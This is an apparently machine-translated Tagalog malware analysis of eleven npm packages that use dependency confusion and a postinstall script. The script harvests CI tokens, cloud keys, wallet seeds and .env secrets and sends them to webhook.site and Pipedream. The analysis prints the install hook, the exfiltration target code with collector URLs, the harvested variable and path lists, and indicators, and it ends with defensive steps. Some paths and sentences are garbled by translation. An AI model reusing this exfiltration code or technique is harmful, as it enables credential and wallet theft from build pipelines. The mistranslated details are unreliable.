Pagkalito sa CryptoDAO: Pag-aani ng mga Pakete ng npm CI/CD at mga Lihim ng Crypto

Pagkalito sa CryptoDAO: labing-isang npm package, isang payload, pag-aani CI/CD at mga sikreto ng crypto-wallet

Tl; DR

Noong 2026-06-17, isang npm account ang nailathala labing-isang pakete na may iisang layunin at iisang kargamentoSampu sa kanila ang may dalang cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ang pang-labing-isa ay ang nasasaklaw @public-for-cdao/coreAng bawat isa ay nailathala sa bersyong 99.99.99 at nagpapadala ng magkaparehong byte recon.js na tumatakbo sa postinstall.

Ang mga pangalan ang nagbibigay-kahulugan. Parang mga panloob na bloke ng pagbuo ang mga ito ng pribadong toolchain ng isang proyektong crypto/DAO. Inilathala sa pampublikong npm registry sa isang artipisyal na mataas na bersyon, naghihintay sila ng isang build. pipeline na naka-configure upang malutas ang mga pangalang iyon at umaabot sa pampublikong npm bago — o sa halip na — pribadong rehistro. Ito ay pagkalito sa pagdepende, at ang payload ay nakatutok para sa eksaktong kung saan nito inaasahang lalapag: CI/CD runners.

Kailan postinstall mga sunog, recon.js nangongolekta ng mga detalye ng host, nagwawalis nang magaspang apatnapung variable ng kapaligiran ng cloud, CI, at crypto-wallet, nagbabasa ng kahit ano .env mga file na kaya nitong hanapin at ipasa nang verbatim ang mga linyang may sikreto, pagkatapos ay ipapadala ang bundle sa dalawang kolektor — webhook.site at isang Pipedream endpoint — kung saan hindi pinagana ang pag-verify ng sertipiko ng TLS. May nakasulat ding kopya sa ilalim ng /tmp.

Lubhang: mataasApektadong ekosistema: npm. Lahat ng labing-isang pakete ay aktibo pa noong panahong isinusulat ito.

Anatomiya ng pag-atake

Ang mekanismo ay may apat na gumagalaw na bahagi, at wala sa mga ito ang banayad kapag alam mo na tumingin nang isang patong lagpas sa pangalan ng pakete.

1. Bersyon ng inflation bilang pang-akit na panlutas. Ang bawat pakete ay nagpapahayag ng bersyon 99.99.99Gumagana ang pagkalito sa dependency kapag ang isang package manager ay humingi ng panloob na pangalan, sinusuri rin ang pampublikong rehistro at pinipili ang pinakamataas na bersyon nito finds. Ang default na seleksyon ng npm para sa isang caret o wildcard range ay ang bersyong may pinakamataas na kasiya-siyang resulta sa bawat na-configure na pinagmulan; kung parehong pribado registry at pampublikong npm na sagot para sa parehong pangalan, ang mas malaking numero ng bersyon ang panalo. A 99.99.99 nahihigitan ang halos anumang tunay na panloob na bersyon na mayroon ang isang proyekto naabot, kaya mas gusto ng isang resolver na hindi naka-pin sa pribadong pinagmulan ang pampubliko — at sa kasong ito, pagalit — na kopya. Hindi kailangang malaman ng operator ang mga totoong numero ng bersyon ng target; ang pagpili ng isang walang kabuluhang pinakamataas na garantiya ay palaging magkakapantay sumisira sa kanilang daan.

2. Isang gatilyo pagkatapos ng pag-install. package.json ikinokonekta ang payload sa install lifecycle:

{   "scripts": { "postinstall": "node recon.js" } }

Hindi kinakailangan ang pag-import ng pakete. I-install lang ito — na isang CI pipeline awtomatikong ginagawa — tumatakbo recon.js.

3. Isang malawak na lihim na pagwawalis. recon.js bumubuo ng isang hanay ng mga resulta nang paunti-unti:

  • Konteksto ng host: hostname, platform at release, arkitektura, username, paggana direktoryo.
  • Mga baryabol ng kapaligiran: inuulit nito ang isang nakapirming listahan ng humigit-kumulang apatnapung pangalan at talaan alinman sa mga nakatakda. Nakakapagbunyag ang listahan — ipinapares nito ang mga generic na CI token (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) at ulap mga kredensyal (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) na may mga lihim ng registry at container (NPM_TOKEN, DOCKER_PASSWORD, PASSWORD_NG_HARBOR) at isang natatanging kumpol na may kakaibang lasa ng crypto:  PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCAng mga naitalang halaga ay pinutol sa unang 50 karakter.
  • .env mga file: sinusuri nito ang isang listahan ng mga landas — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /ugat/.env, at ang .produksyon/.pag-unlad mga variant — at para sa anumang file na umiiral, ito sinasala ang mga nilalaman sa mga linyang tumutugma SUSI|SEKRETO|TOKEN|PASS|PRIVATE|MNEMONIC at itinutulak ang mga linyang iyon **nang buo, hindi pinutol** papunta sa mga resulta.
  • Konteksto ng Build-host: inililista nito ang unang 20 entry ng /nagtatayo/, /home/gitlab-runner/mga build/, /var/lib/gitlab-runner/, at / tmp /.

Ang listahan ng landas at listahan ng variable ay tinimbang patungo sa mga runner ng GitLab, na tumuturo sa ang payload nang direkta sa self-hosted CI infrastructure kaysa sa isang developer laptop. Ang pagpapangkat ng listahan ng ani ayon sa kategorya ay ginagawang simple ang nilalayong hakot:

kategorya Mga baryabol / landas na naabot
CI/CD pagkakakilanlan at pag-deploy CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Ulap AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rehistro at lalagyan NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Mga imbakan ng datos DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Messaging SLACK_TOKEN, DISCORD_TOKEN
Nasa disk .env pamilya + /home/gitlab-runner/.env, /root/.env, /app/**/.env; mga listahan ng direktoryo ng /builds/, /var/lib/gitlab-runner/

Ang crypto cluster ang bahaging nagpapaiba nito mula sa isang generic na CI-secret. sweep: ang mga parirala ng wallet seed at mga signing key ay lilitaw lamang sa kapaligiran ng isang proyektong blockchain, at direktang nagmamapa sila patungo sa cryptodao-/tanda/kontrata pagpapangalan ng mga tagapagdala.

4. Dobleng exfiltration na may hindi pinaganang beripikasyon. Ang nakolektang array ay na-serialize at nai-POST sa dalawang destinasyon:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

tanggihanHindi Awtorisado: mali Pinapatay ang mga pagsusuri ng sertipiko ng TLS para sa mga papalabas na programa mga tawag. Ang parehong data ay ini-print sa stdout (kaya napupunta rin ito sa mga CI job log) at nakasulat sa /tmp/.npm_recon_ .jsonAng mga pagkakamali ay tahimik na nilulunok, kaya a Ang nabigong pagpapadala ay walang iniiwang bakas sa output ng pag-install nang higit sa isang bakas [recon] naka-install sa linya.

Inilalarawan ito ng isang nangungunang komento sa file bilang isang "Pagkalito sa Dependensiya" "Reconnaissance Payload." Ang pagbawas ng mga halaga ng kapaligiran sa 50 karakter ay ang hugis ng isang patunay ng konsepto. Ang nagpapagalaw dito lampas sa isang beacon na tanging presensya lamang ay ang .env paghawak: ang mga linya ng sikretong nagdadala ay ipinapasa nang buo, at ang mga destinasyon ay dalawang gumaganang kolektor na kontrolado ng umaatake sa halip na isang lababo na binibilang lamang hit

timeline

Ang pattern ng pag-publish ay ang lagda ng isang scripted push, hindi labing-isa mga independiyenteng pag-upload.

Oras (UTC, 2026-06-17) pangyayari
03:24:58 cryptodao-bot@99.99.99 nai-publish
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — variant na may saklaw, ~24 minuto ang lumipas

Sampung pakete ang nailabas sa loob ng 29 segundong palugit, halos isa kada tatlong segundo. Ang saklaw @public-for-cdao/core sinundan mga 24 minuto pagkatapos — isang segundo kombensiyon sa pagpapangalan para sa parehong target, kung sakaling ang proyektong gumagamit ay tumutukoy sa panloob na toolchain sa ilalim ng isang saklaw sa halip na bilang mga hubad na pangalan.

Mga tagapagpahiwatig ng kompromiso

uri Nagtuturo
Kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Ikabit ang kawit postinstall: node recon.js
Nahulog na file /tmp/.npm_recon_<timestamp>.json
Pananda ng talaan [recon] <pkg>@<ver> installed on <hostname> (stdout sa mga log ng CI)
Pag-uugali rejectUnauthorized: false sa papalabas na HTTPS habang nag-i-install
Payload recon.js, magkapareho sa lahat ng labing-isang pakete (isang shared build)
bersyon 99.99.99 sa bawat pakete
Pakete cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (lahat 99.99.99)
Tagapaglathala aduljune / aduljune@proton.me (hindi na-verify ang email, walang naka-link na source repository)

 Pagpapatungkol at naobserbahang pag-uugali

Lahat ng tungkol sa kumpol ay tumutukoy sa isang banda. Lahat ng labing-isang pakete ay nailathala ng npm account aduljune (aduljune@proton.me, isang hindi na-verify na address na walang naka-link na repositoryo ng pinagmulan), sa loob ng 25 minutong tagal, kasabay nito 99.99.99 bersyon, pagpapadala ng isang recon.js na ang mga nilalaman ay magkapareho sa bawat byte-for-byte pakete (mga tugma ng MD5 sa lahat ng labing-isang nakuha na kopya). Iyan ay isang payload nakatatak sa isang listahan ng mga pangalan, hindi sa malayang paggamit muli ng kodigo.

Tinutukoy ng listahan ng pangalan ang nilalayong target. cryptodao-* at cdao ilarawan ang pribadong layout ng module ng isang proyektong crypto/DAO, at ang listahan ng ani ng payload mga salamin na nanghuhula: kasama ang mga generic na sikreto ng CI at cloud, partikular itong inaabot PRIVATE_KEY, MNEMONIC, SEED_PHRASE, at Ethereum/BSC RPC at mga susi ng provider. Ang .env Ang mga path ng paghahanap at listahan ng direktoryo ay GitLab-runner tiyak. Ang napapansing epekto ay ang anumang pipeline nilinlang sa pag-install ng mga ito ipapasa ng mga pangalan ang mga CI token, cloud key, at on-disk nito .env mga lihim — at, para sa isang proyektong blockchain, ang materyal ng wallet nito — sa dalawang third-party collectors.

Wala kaming sinasabing anumang pahayag tungkol sa kung sino ang nagpapatakbo ng account o kung ano ang plano nilang gawin sa datos. Ang mga katotohanang nakatayo sa kanilang sarili: ang mga pangalan ay tumatarget sa isang partikular na uri ng panloob na toolchain, binabasa at ipinapadala ng payload ang mga tunay na lihim na halaga, at ang buhay na ang imprastraktura.

Pagkalito sa pagdepende nananatiling epektibo dahil sinasamantala nito ang kilos ng tagalutas, hindi isang kahinaan sa anumang pakete. Ang carrier dito ay walang halaga — labing-isa ay halos walang laman mga pakete — ngunit ang radius ng pagsabog ay anuman pipeline nagkamaling mas gusto ang pampublikong npm para sa isang panloob na pangalan. Ang mga CI runner ang pinakamasamang lugar para mangyari iyon: hawak nila eksakto ang mga token at .env mga file na binabasa ng payload na ito, at ini-install nila mga dependency na hindi interactive, kaya a postinstall tumatakbo nang walang nakatingin.

Ang kumpol na ito ay akma rin sa isang padron na patuloy nating nakikita: mga payload sa oras ng pag-install na nagpapakita bilang "pananaliksik" o "pagmamatyag" habang gumagawa ng totoong pangongolekta ng kredensyal. Ang etiketa sa file ay hindi binabago ang ginagawa ng code sa isang runner. Dalawang pagpipilian sa disenyo ang nananatili ang aktibidad ay tahimik: bawat operasyon ng network at filesystem ay nakabalot sa isang exception handler na nagtatapon ng mga error, kaya't may nakaharang na pagpapadala o nawawalang file walang lumalabas na diagnostic output, at ang tanging nakalimbag ay isang hindi nakasasama [recon] … naka-install linyang humahalo sa normal na daldal ng pag-install. Ang paggamit ng webhook.site at ang Pipedream ay sadyang kaginhawahan din — parehong libre, agad na naglaan ng mga serbisyo ng pagkuha ng kahilingan, kaya hindi na kailangan ng operator ng mga server ng ang sarili nila at ang mga destinasyon ay parang mga ordinaryong SaaS hostname sa mga egress log.

Ang ekonomiya ang dahilan kung bakit sulit itong bigyan ng pansin ng isang tagapagtanggol kahit na ang Madali lang ang carrier code. Walang bayad ang pagrehistro ng labing-isang pangalan, iisa lang ang payload. labing-isang beses na kinopya ang file, at ang package manager ang gagawa ng lahat ng pagpapatupad. Isang beses lang. maling pagkakaayos pipeline kahit saan man kumokonsumo ng isa sa mga pangalang ito ay magbabayad para sa kabuuan operasyon.

Mga konkretong hakbang para sa mga tagapagtanggol:

  • I-pin ang mga internal na saklaw sa iyong pribadong registry. I-configure ang npm para sa mga panloob na pangalan
     at ang mga saklaw ay nireresolba lamang laban sa iyong registry (scoped .npmrc registry mappings,
    o isang proxy na hindi kailanman napupunta sa pampublikong npm para sa mga pagmamay-aring namespace). Ireserba ang iyong mga pampublikong pangalan ng saklaw upang walang ibang makapagrehistro sa mga ito.
  • Commit lockfiles at i-install gamit ang –ignore-scripts sa CI kung saan posible, o suriin ang maliit na hanay ng mga dependency na tunay na nangangailangan ng pag-install ng mga script.  Hindi maaaring tumakbo ang recon.js kung postinstall ay hindi naisakatuparan.
  • Magbigay ng 99.99.99 (o iba pang napakataas na presyo) na bersyon ng isang pangalang mukhang panloob bilang pulang bandila sa pagsusuri ng dependency at pagsubaybay sa registry.
  • Alerto sa paglabas sa oras ng pag-install. A postinstall na nagbubukas ng isang papalabas na HTTPS koneksyon — lalo na kung naka-disable ang pag-verify ng sertipiko — sa Ang webhook.site, Pipedream, o mga katulad na serbisyo ng request-capture ay sulit na i-block sa network edge at i-flag sa mga build log.
  • Manghuli ng mga artifact. Suriin ang mga runner para sa /tmp/.npm_recon_*.json at para sa [recon] … naka-install sa … marker sa mga kamakailang CI log. Kung matagpuan, i-rotate bawat kredensyal na nakalantad doon pipeline — Mga CI token, cloud key, registry token, at anumang wallet seed o private key na nasa environment o .env file.

Mga sanggunian

Walang panlabas na pag-uulat tungkol sa kumpol na ito ang umiiral sa panahon ng pagsulat; ang pagsusuri ang nasa itaas ay direktang batay sa mga nilalaman ng nakalathalang pakete

mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite